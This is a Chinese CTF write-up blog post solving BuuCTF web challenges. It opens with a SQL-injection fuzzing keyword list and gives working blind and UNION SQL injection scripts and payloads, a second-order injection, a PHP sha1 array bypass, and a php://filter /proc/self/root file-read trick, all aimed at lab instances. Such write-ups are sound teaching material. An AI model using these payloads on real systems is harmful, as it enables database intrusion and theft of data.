167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
length 
Length
+
handler
like
LiKe
select
SeleCT
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length
+
REVERSE
ascii
ASSIC
ASSic
select
database
left
right
union
UNIon
UNION
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord

UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`

,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20

2020ezsqli1

主要是过滤了information_schema.tables这东西,但注意:

2020ezsqli2

sys这个没过滤,而且经过测试直接打or没问题,但连起来比如0 or 1=1 #这种还会被检测到。。

if,^,&&能用,比如:

if(1,1,2)这里会返回nu1l,可以在第一个1上做文章

0^1返回nu1l1&&1返回nu1l

if来说,爆库可以使用:

1
if(ascii(substr(database(),{},1))>{},1,2).format{i,j}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re


url = 'http://687df149-6e4c-4d22-9035-80478f031581.node4.buuoj.cn:81/index.php'
flag = ''

for i in range(0, 50):
time.sleep(0.02)
for j in range(32, 127):

payload = "if(ascii(substr(database(),{},1))={},1,2)".format(i, j)
data = {"id": payload}
res = requests.post(url=url, data=data)

if 'Nu1L' in res.text:
flag = flag + chr(j)
#print(i)
print(flag)
break

二分法还不是很熟练。。这个跑的有点慢╮(╯-╰)╭而且会跑出不正确的字符。。这里参考了其它师傅地道二分法脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#参考https://blog.csdn.net/l2872253606/article/details/125247898
import requests
import time
url='http://51803b08-9d22-46c8-b50e-33d3fe778c2b.node4.buuoj.cn:81/'
f=''
for i in range(1,200):
time.sleep(0.02)

min=32
max=127
mid=(min+max)//2
while min<max:
time.sleep(0.02)
payload="1^(ascii(substr((select database()),{},1))>{})^1".format(str(i),str(mid)) #give_grandpa_pa_pa_pa
#payload = "1^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})^1".format(str(i), str(mid))#f1ag_1s_h3r3_hhhhh,users233333333333333
data={
"id":payload
}
s=requests.post(url=url,data=data)
if "Nu1L" in s.text:
min=mid+1
else:
max=mid
mid=(min+max)//2
f+=chr(mid)
print(f)

give_grandpa_pa_pa_pa

FUZZ的时候过滤了information_schema,所以用sys.schema_table_statistics_with_buffer代替information_schema.tables。但最终爆列的时候还是要用到infomation_schema这东西,所以得考虑其它注入方式,这里用到了无列名注入和ASCII偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
select (select 'b') > (select 'abcdefg')
#返回1
select (select 'b') > (select 'c')
#返回0
select (SELECT 'bb') > (select 'ba')
#返回1
select (SELECT 1,'bb') > (select 1,'ba')
#返回1
select (SELECT 1,'bb') > (select 2,'ba')
#返回0
select (SELECT '1') > (select 'a')
#返回0
select (SELECT 1) > (select 'a')
#返回1
select (SELECT 1) = (select '1')
#返回1
select (SELECT 1) > (select '~')
#返回1
select (SELECT 'flag') > (select 'f')
#返回1

比较的时候,1=’1’,但’1’<’a’,且1>’a’,经测可知,数字>字符。

所以可以用如下方法测试列数:

1
2
3
4

1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))^1

0^(select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'
payload='0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
datas={'id':py}
re=requests.post(url=url,data=datas)
if 'Nu1L' in re.text:
flag+=chr(i-1)
print(flag)
break
#或者
import requests
import time


def to_hex(s): # 十六进制转换 fl ==> 0x666c,可以避免一些如"fla""这种符号问题导致执行错误以及检测bypass
res = ''
for i in s:
res += hex(ord(i)).replace('0x', '')
res = '0x' + res
return res


url = "http://3a960679-ba2d-46e9-8e31-605a16a949a9.node4.buuoj.cn:81/"
s = ""
last = 'tmp'
while(s.strip() != last):
for j in range(33, 127):
time.sleep(0.1)
flag = s + chr(j)
payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1".format(to_hex(flag))
data = {
"id": payload
}
r = requests.post(url, data=data)
if b"Nu1L" in r.content:
last = s.strip()
s += chr(j-1) # 'F'<'FLAG','G'>'FLAG',所以要减1
print(s.lower())
break

匹配flag的时候,一定会先经过匹配到字符相等的情况,这个时候返回的是0。很明显此时的chr(char)并不是我们想要的,我们在输出1(Nu1L)的时候,匹配的是f的下一个字符g,而我们想要的是f,此时chr(char-1)=’f’,所以这里要用chr(char-1)。

看了wp还有这种方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import requests
url = "http://2070e1dc-ce1b-4d1c-ae33-f747d0ae05e8.node3.buuoj.cn/index.php"
payload1 = "if((ascii(substr(database(),"
payload2 = ",1))="
payload3 = "),1,2)"
name = ""
for i in range(1,22):
for j in range(23,123):
payload = payload1+str(i)+payload2+str(j)+payload3
data = {'id':payload}
s = requests.post(url,data=data).text
if ("Nu1L" in s):
name += chr(j)
print(name)
break

参考:

1
2
3
https://blog.csdn.net/qq_45521281/article/details/106647880
https://syunaht.com/p/1354079185.html
https://www.shawroot.cc/1186.html

[b01lers2020]Life on Mars

lifeonmars1

源码好像没啥信息,抓包看看:

lifeonmars2

注意这个URL:/query?search=amazonis_planitia&{}&_=1703252641401

在第一个字段加了个'%23:

lifeonmars3

有反应,把单引号直接去了:

lifeonmars5

%23这个注释符确实起作用了。加了注释符直接把后面全删掉回显也是正常的。后面想着直接oder by 判断列数了,但burp上操作一直给我回显400,他妈的。只能直接在网页操作:

1
/query?search=olympus_mons order by 2#

2时回显正常

1
/query?search=olympus_mons union select 123,456#

lifeonmars6

1
/query?search=olympus_mons union select version(),database()#

数据库:aliens

1
/query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='aliens'

表一大堆:

1
amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin

后面懒得查了直接找了wp。。这东西能直接用sqlmap跑出来而且表不是aliens而是alien_code这个库,而且code这个表不止一个。。所以要这么查:

1
/query?search=amazonis_planitia union select 1,group_concat(id,code) from alien_code.code#

October 2019 Twice SQL Injection

唉,一个简单的二次注入,结果被我想麻烦了浪费好长时间。

先注册了admin,admininfo那里放了个1。然后注册了admin'#``admin,登进去发现info字段有东西:

octtwicesql1

我注册的admin'#登录成了admin用户了,一开始以为是登录的锅:'#直接把后面的都注释掉了,所以尝试了admin'#然后输个错误的密码看看能不能登录:

干,登不上去。

后面想了想应该是登录时存在二次注入:把输入的用户名和密码存起来然后取出,admin'#就变成admin了。但这里怎么利用是个问题。。

我一开始以为要根据页面回显去一点一点判断,比如:

1
2
3

1' and if(ascii(substr(database(),1,1))=99,1,2)#

然后根据登录后的页面中info的内容是否和用户名1的内容一样判断:

如果if这个条件是对的info字段就会回显和1同样的内容。但这意味着我对每个payload都要进行:注册加登录的操作。。

后面看了wp,🐎的这里直接用UNION就直接能回显:

1
1' union select 12345 #

octtwicesql2

1
2
3
4
5
6
7
8
9
//爆库:ctftraining
1' union select database() #
//爆表
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
//爆列
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
//flag
1' union select flag from flag #

[极客大挑战 2020]Roamphp1-Welcome

进去什么也没有,hint提示换一种请求方式,改成POST:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {

if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}

简单hash强等于绕过:

roam1[]=1&roam2[]=2

roamwhat1

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

注意这个require_once,顺便复习下几个常用的文件包含函数:

include()函数当遇到错误的信息时,会进行报错,但仍然会继续执行下面的代码
include_once()函数与include()函数功能类似,但所包含的信息只执行一次
require()函数当遇到错误的信息时,会进行报错,并且不会再继续执行下面的代码
require_once()函数与require()函数功能类似,但所包含的信息只执行一次

绕过参考https://www.anquanke.com/post/id/213235

大致就是当软链接多到一定程度(路径嵌套够多)后可以实现绕过,比如:

1
2
3

proc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/root/var/www/html/xxxx

这种路径

/proc/self/root这东西其实就是/,多层嵌套之后还是/:

procroot

所以对于这种路径:

1
2
3

proc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/root/var/www/html/xxxx

其实还是/var/www/html/xxxx

尝试读取:

1
2

/var/www/html/flag.php

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

就行。

后面看有的师傅用这种方法:

1
2
3

?file=php://filter/convert.base64-encode/resource=/nice/../proc/self/cwd/flag.php

/proc/self/cwd/这东西直接指向了当前的工作目录,就用不着猜/var/www/html/了。另外nice这个东西换成啥都行,只要接下来通过..再跳回到根目录就行。但注意proc/self/cwd这东西不能改成var/www/html。因为payload中一定要存在符号链接:

1
2
这种也行:
/nice/../proc/self/root/var/www/html/flag.php

BuuCTF做题记录_7
http://example.com/2023/12/27/BuuCTF做题记录_7/
作者
notbad3
发布于
2023年12月27日
许可协议